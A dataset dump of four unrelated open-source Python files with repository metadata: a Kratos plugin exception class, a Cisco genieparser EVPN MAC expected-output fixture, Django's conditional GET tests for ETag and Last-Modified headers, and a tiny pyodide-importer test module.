# _ __ _ ___ _ ___ _ _ # | |/ /_ _ __ _| |_ ___ __/ __| __ _| |___ _ __ ___| _ \ |_ _ __ _(_)_ _ # | ' <| '_/ _` | _/ _ (_-<__ \/ _` | / _ \ ' \/ -_) _/ | || / _` | | ' \ # |_|\_\_| \__,_|\__\___/__/___/\__,_|_\___/_|_|_\___|_| |_|\_,_\__, |_|_||_| # |___/ # License: BSD License ; see LICENSE # # Main authors: Philipp Bucher (https://github.com/philbucher) # """ This file defines the custom exceptions used in the plugin """ class UserInputError(Exception): pass

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py

Python

src/genie/libs/parser/iosxe/tests/ShowL2vpnEvpnMac/cli/equal/golden_output2_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

204

2018-06-27T00:55:27.000Z

2022-03-06T21:12:18.000Z

src/genie/libs/parser/iosxe/tests/ShowL2vpnEvpnMac/cli/equal/golden_output2_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

468

2018-06-19T00:33:18.000Z

2022-03-31T23:23:35.000Z

src/genie/libs/parser/iosxe/tests/ShowL2vpnEvpnMac/cli/equal/golden_output2_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

309

2019-01-16T20:21:07.000Z

2022-03-30T12:56:41.000Z

# Copyright (c) 2021 by Cisco Systems, Inc. # All rights reserved. expected_output = { 'evi': { 1: { 'bd_id': { 11: { 'eth_tag': { 0 : { 'mac_addr':{ '0050.56a9.f5af': { 'esi': '0000.0000.0000.0000.0000', 'next_hops': [ '11.11.11.2' ] }, 'b4a8.b902.32d6': { 'esi': '0000.0000.0000.0000.0000', 'next_hops': [ 'Gi1/0/3:11' ] } } } } } } } } }

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py

Python

tests/conditional_processing/tests.py

ni-ning/django

2e7ba6057cfc82a15a22b6021cd60cf307152e2d

[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]

61,676

2015-01-01T00:05:13.000Z

2022-03-31T20:37:54.000Z

tests/conditional_processing/tests.py

ni-ning/django

2e7ba6057cfc82a15a22b6021cd60cf307152e2d

[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]

8,884

2015-01-01T00:12:05.000Z

2022-03-31T19:53:11.000Z

tests/conditional_processing/tests.py

mustafa0x/django

d7394cfa13a4d1a02356e3a83e10ec100fbb9948

[ "BSD-3-Clause", "0BSD" ]

33,143

2015-01-01T02:04:52.000Z

2022-03-31T19:42:46.000Z

from datetime import datetime from django.test import SimpleTestCase, override_settings FULL_RESPONSE = 'Test conditional get response' LAST_MODIFIED = datetime(2007, 10, 21, 23, 21, 47) LAST_MODIFIED_STR = 'Sun, 21 Oct 2007 23:21:47 GMT' LAST_MODIFIED_NEWER_STR = 'Mon, 18 Oct 2010 16:56:23 GMT' LAST_MODIFIED_INVALID_STR = 'Mon, 32 Oct 2010 16:56:23 GMT' EXPIRED_LAST_MODIFIED_STR = 'Sat, 20 Oct 2007 23:21:47 GMT' ETAG = '"b4246ffc4f62314ca13147c9d4f76974"' WEAK_ETAG = 'W/"b4246ffc4f62314ca13147c9d4f76974"' # weak match to ETAG EXPIRED_ETAG = '"7fae4cd4b0f81e7d2914700043aa8ed6"' @override_settings(ROOT_URLCONF='conditional_processing.urls') class ConditionalGet(SimpleTestCase): def assertFullResponse(self, response, check_last_modified=True, check_etag=True): self.assertEqual(response.status_code, 200) self.assertEqual(response.content, FULL_RESPONSE.encode()) if response.request['REQUEST_METHOD'] in ('GET', 'HEAD'): if check_last_modified: self.assertEqual(response.headers['Last-Modified'], LAST_MODIFIED_STR) if check_etag: self.assertEqual(response.headers['ETag'], ETAG) else: self.assertNotIn('Last-Modified', response.headers) self.assertNotIn('ETag', response.headers) def assertNotModified(self, response): self.assertEqual(response.status_code, 304) self.assertEqual(response.content, b'') def test_without_conditions(self): response = self.client.get('/condition/') self.assertFullResponse(response) def test_if_modified_since(self): self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR response = self.client.get('/condition/') self.assertNotModified(response) response = self.client.put('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_NEWER_STR response = self.client.get('/condition/') self.assertNotModified(response) response = self.client.put('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_INVALID_STR response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR response = self.client.get('/condition/') self.assertFullResponse(response) def test_if_unmodified_since(self): self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_NEWER_STR response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_INVALID_STR response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR response = self.client.get('/condition/') self.assertEqual(response.status_code, 412) def test_if_none_match(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/') self.assertNotModified(response) response = self.client.put('/condition/') self.assertEqual(response.status_code, 412) self.client.defaults['HTTP_IF_NONE_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/') self.assertFullResponse(response) # Several etags in If-None-Match is a bit exotic but why not? self.client.defaults['HTTP_IF_NONE_MATCH'] = '%s, %s' % (ETAG, EXPIRED_ETAG) response = self.client.get('/condition/') self.assertNotModified(response) def test_weak_if_none_match(self): """ If-None-Match comparisons use weak matching, so weak and strong ETags with the same value result in a 304 response. """ self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/weak_etag/') self.assertNotModified(response) response = self.client.put('/condition/weak_etag/') self.assertEqual(response.status_code, 412) self.client.defaults['HTTP_IF_NONE_MATCH'] = WEAK_ETAG response = self.client.get('/condition/weak_etag/') self.assertNotModified(response) response = self.client.put('/condition/weak_etag/') self.assertEqual(response.status_code, 412) response = self.client.get('/condition/') self.assertNotModified(response) response = self.client.put('/condition/') self.assertEqual(response.status_code, 412) def test_all_if_none_match(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = '*' response = self.client.get('/condition/') self.assertNotModified(response) response = self.client.put('/condition/') self.assertEqual(response.status_code, 412) response = self.client.get('/condition/no_etag/') self.assertFullResponse(response, check_last_modified=False, check_etag=False) def test_if_match(self): self.client.defaults['HTTP_IF_MATCH'] = ETAG response = self.client.put('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_MATCH'] = EXPIRED_ETAG response = self.client.put('/condition/') self.assertEqual(response.status_code, 412) def test_weak_if_match(self): """ If-Match comparisons use strong matching, so any comparison involving a weak ETag return a 412 response. """ self.client.defaults['HTTP_IF_MATCH'] = ETAG response = self.client.get('/condition/weak_etag/') self.assertEqual(response.status_code, 412) self.client.defaults['HTTP_IF_MATCH'] = WEAK_ETAG response = self.client.get('/condition/weak_etag/') self.assertEqual(response.status_code, 412) response = self.client.get('/condition/') self.assertEqual(response.status_code, 412) def test_all_if_match(self): self.client.defaults['HTTP_IF_MATCH'] = '*' response = self.client.get('/condition/') self.assertFullResponse(response) response = self.client.get('/condition/no_etag/') self.assertEqual(response.status_code, 412) def test_both_headers(self): # see https://tools.ietf.org/html/rfc7232#section-6 self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/') self.assertNotModified(response) self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/') self.assertNotModified(response) self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR self.client.defaults['HTTP_IF_NONE_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR self.client.defaults['HTTP_IF_NONE_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/') self.assertFullResponse(response) def test_both_headers_2(self): self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR self.client.defaults['HTTP_IF_MATCH'] = ETAG response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR self.client.defaults['HTTP_IF_MATCH'] = ETAG response = self.client.get('/condition/') self.assertFullResponse(response) self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR self.client.defaults['HTTP_IF_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/') self.assertEqual(response.status_code, 412) self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR self.client.defaults['HTTP_IF_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/') self.assertEqual(response.status_code, 412) def test_single_condition_1(self): self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR response = self.client.get('/condition/last_modified/') self.assertNotModified(response) response = self.client.get('/condition/etag/') self.assertFullResponse(response, check_last_modified=False) def test_single_condition_2(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/etag/') self.assertNotModified(response) response = self.client.get('/condition/last_modified/') self.assertFullResponse(response, check_etag=False) def test_single_condition_3(self): self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR response = self.client.get('/condition/last_modified/') self.assertFullResponse(response, check_etag=False) def test_single_condition_4(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/etag/') self.assertFullResponse(response, check_last_modified=False) def test_single_condition_5(self): self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR response = self.client.get('/condition/last_modified2/') self.assertNotModified(response) response = self.client.get('/condition/etag2/') self.assertFullResponse(response, check_last_modified=False) def test_single_condition_6(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/etag2/') self.assertNotModified(response) response = self.client.get('/condition/last_modified2/') self.assertFullResponse(response, check_etag=False) def test_single_condition_7(self): self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR response = self.client.get('/condition/last_modified/') self.assertEqual(response.status_code, 412) response = self.client.get('/condition/etag/') self.assertEqual(response.status_code, 412) def test_single_condition_8(self): self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = LAST_MODIFIED_STR response = self.client.get('/condition/last_modified/') self.assertFullResponse(response, check_etag=False) def test_single_condition_9(self): self.client.defaults['HTTP_IF_UNMODIFIED_SINCE'] = EXPIRED_LAST_MODIFIED_STR response = self.client.get('/condition/last_modified2/') self.assertEqual(response.status_code, 412) response = self.client.get('/condition/etag2/') self.assertEqual(response.status_code, 412) def test_single_condition_head(self): self.client.defaults['HTTP_IF_MODIFIED_SINCE'] = LAST_MODIFIED_STR response = self.client.head('/condition/') self.assertNotModified(response) def test_unquoted(self): """ The same quoted ETag should be set on the header regardless of whether etag_func() in condition() returns a quoted or an unquoted ETag. """ response_quoted = self.client.get('/condition/etag/') response_unquoted = self.client.get('/condition/unquoted_etag/') self.assertEqual(response_quoted['ETag'], response_unquoted['ETag']) # It's possible that the matching algorithm could use the wrong value even # if the ETag header is set correctly correctly (as tested by # test_unquoted()), so check that the unquoted value is matched. def test_unquoted_if_none_match(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = ETAG response = self.client.get('/condition/unquoted_etag/') self.assertNotModified(response) response = self.client.put('/condition/unquoted_etag/') self.assertEqual(response.status_code, 412) self.client.defaults['HTTP_IF_NONE_MATCH'] = EXPIRED_ETAG response = self.client.get('/condition/unquoted_etag/') self.assertFullResponse(response, check_last_modified=False) def test_invalid_etag(self): self.client.defaults['HTTP_IF_NONE_MATCH'] = '"""' response = self.client.get('/condition/etag/') self.assertFullResponse(response, check_last_modified=False)

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Python

test_modules/regular_module/__init__.py

ryanking13/pyodide-importer

fb9f83e54eb307fcdb2590588f0b75db1c87ca97

[ "MIT" ]

1

2021-11-16T11:55:54.000Z

test_modules/regular_module/__init__.py

ryanking13/pyodide-importer

fb9f83e54eb307fcdb2590588f0b75db1c87ca97

[ "MIT" ]

null

test_modules/regular_module/__init__.py

ryanking13/pyodide-importer

fb9f83e54eb307fcdb2590588f0b75db1c87ca97

[ "MIT" ]

null

from .submodule2 import hello as submodule2_hello def hello(): return "hello from regular_module"

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